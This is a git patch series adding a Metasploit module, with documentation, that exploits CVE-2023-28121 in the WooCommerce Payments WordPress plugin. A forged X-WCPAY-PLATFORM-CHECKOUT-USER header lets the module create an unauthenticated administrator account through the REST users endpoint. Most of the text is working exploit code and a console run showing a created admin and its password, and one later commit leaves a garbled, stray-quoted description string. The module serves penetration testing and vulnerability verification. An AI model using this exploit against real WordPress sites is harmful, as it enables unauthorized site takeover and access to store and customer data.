From 375a315b3d7ff0ae919e6f3c1a0ed285bebc96d4 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 4 Jul 2023 13:05:07 -0400 Subject: [PATCH 01/10] woocommerce payments auth bypass --- data/wordlists/wp-exploitable-plugins.txt | 1 + .../http/wp_woocommerce_payments_add_user.md | 63 ++++++++++ .../http/wp_woocommerce_payments_add_user.rb | 116 ++++++++++++++++++ 3 files changed, 180 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md create mode 100644 modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index c0579d9da915..fc62e52e34fd 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -57,3 +57,4 @@ woocommerce-abandoned-cart elementor bookingpress paid-memberships-pro +woocommerce-payments diff --git a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md new file mode 100644 index 000000000000..40b9e3fbe58f --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md @@ -0,0 +1,63 @@ +## Vulnerable Application + +WooCommerce-Payments plugin for Wordpress contains an authentication bypass by specifing a valid user ID number +within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API +to create a new user with administartive privileges IF the user ID selected was also an administrator. + +### Install + +Download, install, and Activate [woocomerce-payments](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip) + +No configuration is required, and WooCommerce itself is not required. + +## Verification Steps + +1. Install the plugin +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/wp_woocommerce_payments_add_user` +1. Do: `set username [username]` +1. Do: `set rhosts [ip]` +1. Do: `run` +1. You should get a new administrator created and the credentials. + +## Options + +### USERNAME + +The username to create. Default is `msfadmin`. + +### PASSWORD + +The password for the user. Default is to create a random one. + +### EMAIL + +The email address for the user. Default is to create a random one. + +### ADMINID + +The user ID number for an administrator. Defaults to `1` + +## Scenarios + +### VWooCommerce Payments 5.6.1 on Wordpress 6.2.2 + +``` +msf6 > use auxiliary/scanner/http/wp_woocommerce_payments_add_user +msf6 auxiliary(scanner/http/wp_woocommerce_add_user) > set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +msf6 auxiliary(scanner/http/wp_woocommerce_add_user) > set username h00die +username => h00die +msf6 auxiliary(scanner/http/wp_woocommerce_add_user) > set verbose true +verbose => true +msf6 auxiliary(scanner/http/wp_woocommerce_add_user) > exploit +[*] Running module against 1.1.1.1 + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/woocommerce-payments/readme.txt +[*] Found version 5.6.1 in the plugin +[+] The target appears to be vulnerable. +[*] Attempting to create administrator -> h00die:lWqD3BOer3AFZ (willie.miller@iwuxphff.qiawqio9t.gov) +[+] User was created successfully +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb new file mode 100644 index 000000000000..6ad7bb63de09 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation', + 'Description' => %q{ + WooCommerce-Payments plugin for Wordpress contains an authentication bypass by specifing a valid user ID number + within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API + to create a new user with administartive privileges IF the user ID selected was also an administrator. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Michael Mazzolini', # original discovery + 'Julien Ahrens' # detailed writeup + ], + 'References' => [ + [ 'URL', 'https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/'], + [ 'URL', 'https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/'], + [ 'CVE', '2023-28121'] + ], + 'DisclosureDate' => '2023-03-22', + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options( + [ + Opt::RPORT(80), + OptString.new('USERNAME', [ true, 'User to create', '']), + OptString.new('PASSWORD', [ false, 'Password to create, random if blank', '']), + OptString.new('EMAIL', [ false, 'Email to create, random if blank', '']), + OptInt.new('ADMINID', [ false, 'ID Number of an administrative user', 1]), + OptString.new('TARGETURI', [ true, 'The URI of the Wordpress instance', '/']) + ] + ) + end + + def check + unless wordpress_and_online? + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') + end + + checkcode = check_plugin_version_from_readme('woocommerce-payments', '5.6.2') + if checkcode == Msf::Exploit::CheckCode::Safe + return Msf::Exploit::CheckCode::Safe('WooCommerce-Payments version not vulnerable') + end + + checkcode + end + + def run + if datastore['PASSWORD'].blank? + password = Rex::Text.rand_text_alphanumeric(10..15) + else + password = datastore['PASSWORD'] + end + if datastore['EMAIL'].blank? + email = Rex::Text.rand_mail_address + else + email = datastore['EMAIL'] + end + print_status("Attempting to create administrator -> #{datastore['USERNAME']}:#{password} (#{email})") + [nil, 'index.php'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'), + 'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => { + 'username' => datastore['USERNAME'], + 'email' => email, + 'password' => password, + 'roles' => ['administrator'] + }.to_json + }) + fail_with(Failure::Unreachable, 'Connection failed') unless res + next if res.code == 404 + + if res.code == 201 + print_good('User was created successfully') + if framework.db.active + create_credential_and_login({ + address: rhost, + port: rport, + protocol: 'tcp', + workspace_id: myworkspace_id, + origin_type: :service, + service_name: 'Wordpress', + private_type: :password, + module_fullname: fullname, + access_level: 'administrator', + status: Metasploit::Model::Login::Status::SUCCESSFUL + }) + end + else + print_error("Server response: #{res.body}") + end + break # we didn't get a 404 so we can bail on the 2nd attempt + end + end + +end From 8d686e5a28bfb2a486ff532e129464c3ce76ad3e Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 4 Jul 2023 13:06:27 -0400 Subject: [PATCH 02/10] woocommerce payments auth bypass --- .../scanner/http/wp_woocommerce_payments_add_user.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb index 6ad7bb63de09..41bec22384ef 100644 --- a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb +++ b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb @@ -31,9 +31,9 @@ def initialize(info = {}) ], 'DisclosureDate' => '2023-03-22', 'Notes' => { - 'Stability' => [], + 'Stability' => [CRASH_SAFE], 'Reliability' => [], - 'SideEffects' => [] + 'SideEffects' => [IOC_IN_LOGS] } ) ) From f77e7db637863ab5725d5a7dd99c294c354a1082 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 4 Jul 2023 13:09:27 -0400 Subject: [PATCH 03/10] woocommerce payments auth bypass --- .../scanner/http/wp_woocommerce_payments_add_user.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md index 40b9e3fbe58f..1d98fec270a2 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md +++ b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md @@ -44,13 +44,13 @@ The user ID number for an administrator. Defaults to `1` ``` msf6 > use auxiliary/scanner/http/wp_woocommerce_payments_add_user -msf6 auxiliary(scanner/http/wp_woocommerce_add_user) > set rhosts 1.1.1.1 +msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/http/wp_woocommerce_add_user) > set username h00die +msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set username h00die username => h00die -msf6 auxiliary(scanner/http/wp_woocommerce_add_user) > set verbose true +msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set verbose true verbose => true -msf6 auxiliary(scanner/http/wp_woocommerce_add_user) > exploit +msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > exploit [*] Running module against 1.1.1.1 [*] Running automatic check ("set AutoCheck false" to disable) From da6cdd1d5b3c19b87702488dd8f64e3c1d963328 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 5 Jul 2023 10:55:14 -0500 Subject: [PATCH 04/10] Fix up datastore setting code --- .../http/wp_woocommerce_payments_add_user.rb | 25 +++++++++---------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb index 41bec22384ef..f2c99c0916d1 100644 --- a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb +++ b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb @@ -25,9 +25,9 @@ def initialize(info = {}) 'Julien Ahrens' # detailed writeup ], 'References' => [ - [ 'URL', 'https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/'], - [ 'URL', 'https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/'], - [ 'CVE', '2023-28121'] + ['URL', 'https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/'], + ['URL', 'https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/'], + ['CVE', '2023-28121'] ], 'DisclosureDate' => '2023-03-22', 'Notes' => { @@ -40,11 +40,11 @@ def initialize(info = {}) register_options( [ Opt::RPORT(80), - OptString.new('USERNAME', [ true, 'User to create', '']), - OptString.new('PASSWORD', [ false, 'Password to create, random if blank', '']), - OptString.new('EMAIL', [ false, 'Email to create, random if blank', '']), - OptInt.new('ADMINID', [ false, 'ID Number of an administrative user', 1]), - OptString.new('TARGETURI', [ true, 'The URI of the Wordpress instance', '/']) + OptString.new('USERNAME', [true, 'User to create', '']), + OptString.new('PASSWORD', [false, 'Password to create, random if blank', '']), + OptString.new('EMAIL', [false, 'Email to create, random if blank', '']), + OptInt.new('ADMINID', [false, 'ID Number of an administrative user', 1]), + OptString.new('TARGETURI', [true, 'The URI of the Wordpress instance', '/']) ] ) end @@ -63,16 +63,16 @@ def check end def run + password = datastore['PASSWORD'] if datastore['PASSWORD'].blank? password = Rex::Text.rand_text_alphanumeric(10..15) - else - password = datastore['PASSWORD'] end + + email = datastore['EMAIL'] if datastore['EMAIL'].blank? email = Rex::Text.rand_mail_address - else - email = datastore['EMAIL'] end + print_status("Attempting to create administrator -> #{datastore['USERNAME']}:#{password} (#{email})") [nil, 'index.php'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites res = send_request_cgi({ @@ -112,5 +112,4 @@ def run break # we didn't get a 404 so we can bail on the 2nd attempt end end - end From ce19ce5b72ddc135f4882d699761e74b69a9db0e Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 5 Jul 2023 12:24:51 -0500 Subject: [PATCH 05/10] Apply fixes from review --- .../http/wp_woocommerce_payments_add_user.md | 19 +++++++++++-------- .../http/wp_woocommerce_payments_add_user.rb | 13 ++++++++----- 2 files changed, 19 insertions(+), 13 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md index 1d98fec270a2..37fecc2081e4 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md +++ b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md @@ -1,14 +1,16 @@ ## Vulnerable Application - -WooCommerce-Payments plugin for Wordpress contains an authentication bypass by specifing a valid user ID number -within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API -to create a new user with administartive privileges IF the user ID selected was also an administrator. +WooCommerce-Payments plugin for Wordpress versions 4.8 prior to 4.8.2, 4.9 prior to 4.9.1, +5.0 prior to 5.0.4, 5.1 prior to 5.1.3, 5.2 prior to 5.2.2, 5.3 prior to 5.3.1, 5.4 prior to 5.4.1, +5.5 prior to 5.5.2, and 5.6 prior to 5.6.2 contain an authentication bypass by specifying a valid user ID number +within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API +to create a new user with administrative privileges on the target WordPress site IF the user ID +selected corresponds to an administrator account. ### Install -Download, install, and Activate [woocomerce-payments](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip) +Download, install, and Activate [woocomerce-payments 5.6.1](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip) -No configuration is required, and WooCommerce itself is not required. +No configuration is required, and one does not need to install the main WooCommerce platform itself. ## Verification Steps @@ -18,7 +20,8 @@ No configuration is required, and WooCommerce itself is not required. 1. Do: `set username [username]` 1. Do: `set rhosts [ip]` 1. Do: `run` -1. You should get a new administrator created and the credentials. +1. A new WordPress administrator account should be created. +1. Verify the new account uses the username and password specified in the USERNAME and PASSWORD datastore options respectively. ## Options @@ -57,7 +60,7 @@ msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > exploit [*] Checking /wp-content/plugins/woocommerce-payments/readme.txt [*] Found version 5.6.1 in the plugin [+] The target appears to be vulnerable. -[*] Attempting to create administrator -> h00die:lWqD3BOer3AFZ (willie.miller@iwuxphff.qiawqio9t.gov) +[*] Attempting to create an administrator user -> h00die:lWqD3BOer3AFZ (willie.miller@iwuxphff.qiawqio9t.gov) [+] User was created successfully [*] Auxiliary module execution completed ``` diff --git a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb index f2c99c0916d1..0a8e15f2560d 100644 --- a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb +++ b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb @@ -14,9 +14,12 @@ def initialize(info = {}) info, 'Name' => 'Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation', 'Description' => %q{ - WooCommerce-Payments plugin for Wordpress contains an authentication bypass by specifing a valid user ID number - within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API - to create a new user with administartive privileges IF the user ID selected was also an administrator. + WooCommerce-Payments plugin for Wordpress versions 4.8 prior to 4.8.2, 4.9 prior to 4.9.1, + 5.0 prior to 5.0.4, 5.1 prior to 5.1.3, 5.2 prior to 5.2.2, 5.3 prior to 5.3.1, 5.4 prior to 5.4.1, + 5.5 prior to 5.5.2, and 5.6 prior to 5.6.2 contain an authentication bypass by specifying a valid user ID number + within the X-WCPAY-PLATFORM-CHECKOUT-USER header. With this authentication bypass, a user can then use the API + to create a new user with administrative privileges on the target WordPress site IF the user ID + selected corresponds to an administrator account. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -73,7 +76,7 @@ def run email = Rex::Text.rand_mail_address end - print_status("Attempting to create administrator -> #{datastore['USERNAME']}:#{password} (#{email})") + print_status("Attempting to create an administrator user -> #{datastore['USERNAME']}:#{password} (#{email})") [nil, 'index.php'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'), @@ -99,7 +102,7 @@ def run protocol: 'tcp', workspace_id: myworkspace_id, origin_type: :service, - service_name: 'Wordpress', + service_name: 'WordPress', private_type: :password, module_fullname: fullname, access_level: 'administrator', From 3abcb3ebaa682fc6b00398873d02e57b274fafb4 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 5 Jul 2023 13:10:41 -0500 Subject: [PATCH 06/10] Explain ADMINID field more --- .../scanner/http/wp_woocommerce_payments_add_user.md | 4 ++-- .../scanner/http/wp_woocommerce_payments_add_user.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md index 37fecc2081e4..2e03d44efa75 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md +++ b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md @@ -8,7 +8,7 @@ selected corresponds to an administrator account. ### Install -Download, install, and Activate [woocomerce-payments 5.6.1](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip) +Download, install, and activate [woocomerce-payments 5.6.1](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip) No configuration is required, and one does not need to install the main WooCommerce platform itself. @@ -39,7 +39,7 @@ The email address for the user. Default is to create a random one. ### ADMINID -The user ID number for an administrator. Defaults to `1` +The user ID number for an WordPress administrator. Defaults to `1`. ## Scenarios diff --git a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb index 0a8e15f2560d..4684829c3b2b 100644 --- a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb +++ b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb @@ -46,7 +46,7 @@ def initialize(info = {}) OptString.new('USERNAME', [true, 'User to create', '']), OptString.new('PASSWORD', [false, 'Password to create, random if blank', '']), OptString.new('EMAIL', [false, 'Email to create, random if blank', '']), - OptInt.new('ADMINID', [false, 'ID Number of an administrative user', 1]), + OptInt.new('ADMINID', [false, 'ID Number of a WordPress administrative user', 1]), OptString.new('TARGETURI', [true, 'The URI of the Wordpress instance', '/']) ] ) From c3aefe577be0547422563f16cd13677e8f9d5ac1 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Thu, 6 Jul 2023 09:36:19 -0500 Subject: [PATCH 07/10] Fix url_root loop code and user creation code --- .../http/wp_woocommerce_payments_add_user.rb | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb index 4684829c3b2b..07c9c1fc5559 100644 --- a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb +++ b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb @@ -76,15 +76,20 @@ def run email = Rex::Text.rand_mail_address end - print_status("Attempting to create an administrator user -> #{datastore['USERNAME']}:#{password} (#{email})") - [nil, 'index.php'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites + username = datastore['USERNAME'] + if datastore['USERNAME'].blank? + username = Rex::Text.rand_text_alphanumeric(5..20) + end + + print_status("Attempting to create an administrator user -> #{username}:#{password} (#{email})") + ['/', 'index.php'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'), 'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, 'method' => 'POST', 'ctype' => 'application/json', 'data' => { - 'username' => datastore['USERNAME'], + 'username' => username, 'email' => email, 'password' => password, 'roles' => ['administrator'] @@ -93,7 +98,7 @@ def run fail_with(Failure::Unreachable, 'Connection failed') unless res next if res.code == 404 - if res.code == 201 + if res.code == 201 && res.body&.match(/"email":"#{email}"/) && res.body&.match(/"username":"#{username}"/) print_good('User was created successfully') if framework.db.active create_credential_and_login({ From 81cf6c2a09b6f323f811ca448842ea809f601d62 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Thu, 6 Jul 2023 10:43:20 -0500 Subject: [PATCH 08/10] Fix up credential storing code --- .../auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb index 07c9c1fc5559..e894967b05ac 100644 --- a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb +++ b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb @@ -108,9 +108,12 @@ def run workspace_id: myworkspace_id, origin_type: :service, service_name: 'WordPress', + username: username, private_type: :password, + private_data: password, module_fullname: fullname, access_level: 'administrator', + last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL }) end From d6911f6b13054cfb2f83be6077ed9a27598b3e8c Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 9 Jul 2023 19:48:16 -0400 Subject: [PATCH 09/10] add new api endpoint, and checks for multiple versions --- .../http/wp_woocommerce_payments_add_user.rb | 72 +++++++++++++------ 1 file changed, 52 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb index e894967b05ac..4584dffdef13 100644 --- a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb +++ b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb @@ -14,9 +14,9 @@ def initialize(info = {}) info, 'Name' => 'Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation', 'Description' => %q{ - WooCommerce-Payments plugin for Wordpress versions 4.8 prior to 4.8.2, 4.9 prior to 4.9.1, - 5.0 prior to 5.0.4, 5.1 prior to 5.1.3, 5.2 prior to 5.2.2, 5.3 prior to 5.3.1, 5.4 prior to 5.4.1, - 5.5 prior to 5.5.2, and 5.6 prior to 5.6.2 contain an authentication bypass by specifying a valid user ID number + WooCommerce-Payments plugin for Wordpress versions 4.8', '4.8.2, 4.9', '4.9.1, + 5.0', '5.0.4, 5.1', '5.1.3, 5.2', '5.2.2, 5.3', '5.3.1, 5.4', '5.4.1, + 5.5', '5.5.2, and 5.6', '5.6.2 contain an authentication bypass by specifying a valid user ID number within the X-WCPAY-PLATFORM-CHECKOUT-USER header. With this authentication bypass, a user can then use the API to create a new user with administrative privileges on the target WordPress site IF the user ID selected corresponds to an administrator account. @@ -57,12 +57,28 @@ def check return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') end - checkcode = check_plugin_version_from_readme('woocommerce-payments', '5.6.2') - if checkcode == Msf::Exploit::CheckCode::Safe - return Msf::Exploit::CheckCode::Safe('WooCommerce-Payments version not vulnerable') + vuln_versions = [ + ['4.8', '4.8.2'], + ['4.9', '4.9.1'], + ['5.0', '5.0.4'], + ['5.1', '5.1.3'], + ['5.2', '5.2.2'], + ['5.3', '5.3.1'], + ['5.4', '5.4.1'], + ['5.5', '5.5.2'], + ['5.6', '5.6.2'] + ] + + vuln_versions.each do |versions| + introduced = versions[0] + fixed = versions[1] + checkcode = check_plugin_version_from_readme('woocommerce-payments', fixed, introduced) + if checkcode == Exploit::CheckCode::Appears + return Msf::Exploit::CheckCode::Appears('WooCommerce-Payments version is exploitable') + end end - checkcode + Msf::Exploit::CheckCode::Safe('WooCommerce-Payments version not vulnerable or plugin not installed') end def run @@ -82,19 +98,35 @@ def run end print_status("Attempting to create an administrator user -> #{username}:#{password} (#{email})") - ['/', 'index.php'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'), - 'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, - 'method' => 'POST', - 'ctype' => 'application/json', - 'data' => { - 'username' => username, - 'email' => email, - 'password' => password, - 'roles' => ['administrator'] - }.to_json - }) + ['/', 'index.php', '/rest'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites + if url_root == '/rest' + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, + 'method' => 'POST', + 'ctype' => 'application/json', + 'vars_get' => { 'rest_route' => 'wp-json/wp/v2/users' }, + 'data' => { + 'username' => username, + 'email' => email, + 'password' => password, + 'roles' => ['administrator'] + }.to_json + }) + else + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'), + 'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => { + 'username' => username, + 'email' => email, + 'password' => password, + 'roles' => ['administrator'] + }.to_json + }) + end fail_with(Failure::Unreachable, 'Connection failed') unless res next if res.code == 404 From 5261d842bca2d2637749fbf8537ef558b89d390d Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Mon, 10 Jul 2023 14:18:50 -0400 Subject: [PATCH 10/10] Update documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md --- .../auxiliary/scanner/http/wp_woocommerce_payments_add_user.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md index 2e03d44efa75..0a06f82f2452 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md +++ b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md @@ -39,7 +39,7 @@ The email address for the user. Default is to create a random one. ### ADMINID -The user ID number for an WordPress administrator. Defaults to `1`. +The user ID number for a WordPress administrator. Defaults to `1`. ## Scenarios